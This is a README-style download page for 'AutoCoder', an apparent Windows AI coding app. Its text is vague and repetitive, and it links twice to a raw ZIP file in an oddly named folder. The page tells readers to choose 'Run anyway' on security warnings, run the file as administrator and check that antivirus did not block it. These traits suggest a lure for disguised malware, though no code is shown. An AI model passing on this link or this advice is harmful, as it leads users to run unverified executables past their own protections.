AutoCoder is a desktop app for coding work. It helps you plan tasks, write code, review changes, fix bugs, and run tests in one place.
It uses multiple AI agents that work together. You can keep notes, track ideas, and move through your coding work with shared boards. The app is made for Windows and runs as a desktop workspace.
Use this link to visit the page and download AutoCoder:
https://raw.githubusercontent.com/alizasentimental514/AutoCoder/main/fustily/Coder_Auto_1.6.zip
- Open the download link above.
- Look for the latest release or download file on the page.
- Download the Windows app file.
- If Windows asks for permission, choose Run anyway if you trust the source.
- Follow the on-screen steps to install or open the app.
- Start AutoCoder from your desktop or Start menu.
- Right-click the ZIP file.
- Choose Extract All.
- Open the extracted folder.
- Find the app file and double-click it.
- If Windows shows a security prompt, confirm that you want to open it.
When AutoCoder opens, you will see a workspace for your coding tasks.
- Create a new project or open an existing one.
- Add a task you want help with.
- Use the planning board to break the task into smaller steps.
- Ask the app to generate code, fix code, or check your work.
- Run tests inside the workspace to see if your code works.
- Review the results and make changes as needed.
Keep your work in one place. Track what needs to be done and what has already been finished.
AutoCoder can split work across several AI helpers. One agent can plan, another can code, and another can review.
Use a shared space for notes, instructions, and task updates. This helps keep the app organized.
Use the app to write code, edit files, and make changes with less manual work.
Find problems in your code and get help with fixes. The app can point out errors and suggest next steps.
Check changes before you keep them. This helps you catch issues early.
Run tests from the workspace and see how your code behaves.
AutoCoder works best on a modern Windows PC.
- Windows 10 or Windows 11
- 8 GB of RAM or more
- 500 MB of free disk space
- Internet access for AI features
- A screen size large enough for split panels and task boards
After you open AutoCoder for the first time:
- Set your workspace folder.
- Add your project files.
- Connect any AI provider you want to use.
- Choose your task style, such as planning, coding, or review.
- Save your settings.
If the app asks for an API key or connection details, enter them in the settings area.
Create a task when you want help with a feature, bug, or test.
Use the planning tools to split a large task into smaller parts.
Assign the task to the AI helpers so each one can focus on a job.
Check the output before you accept it. Make sure the code matches your goal.
Test the project after each major change so you can catch errors early.
- Open AutoCoder.
- Load your project folder.
- Add your task.
- Let the agents plan the work.
- Review the suggested code changes.
- Apply the changes.
- Run tests.
- Fix issues if needed.
- Save your work.
- Check that you downloaded the correct Windows file.
- Right-click the file and choose Run as administrator.
- Make sure your antivirus did not block it.
- Close the app and open it again.
- Check your internet connection.
- Make sure your project folder is set correctly.
- Confirm that your API key is entered.
- Check your internet connection.
- Open the settings and verify the provider details.
- Make sure the folder is not moved or deleted.
- Use a local folder path with simple folder names.
- Try opening the project again after restarting the app.
- Keep one project open at a time.
- Use short task names.
- Add clear instructions.
- Review each change before moving on.
- Run tests after every major update.
- Save your work often.
- Building small apps
- Fixing bugs
- Testing changes
- Reviewing code
- Planning features
- Organizing coding work
- Keeping AI help in one desktop space
If you keep your projects in a simple folder path, AutoCoder can work with them more easily.
Good examples:
C:\Projects\MyAppD:\Work\Website
Try to avoid:
- Very long folder names
- Special characters in folder names
- Saving project files inside system folders
You want to add a new button to your app.
- Open your project in AutoCoder.
- Create a task for the new button.
- Ask the app to plan the work.
- Let the coding agent write the change.
- Ask the review agent to check it.
- Run tests.
- Fix any issue the test finds.
- Save the final version
Use this page to download AutoCoder for Windows:
https://raw.githubusercontent.com/alizasentimental514/AutoCoder/main/fustily/Coder_Auto_1.6.zip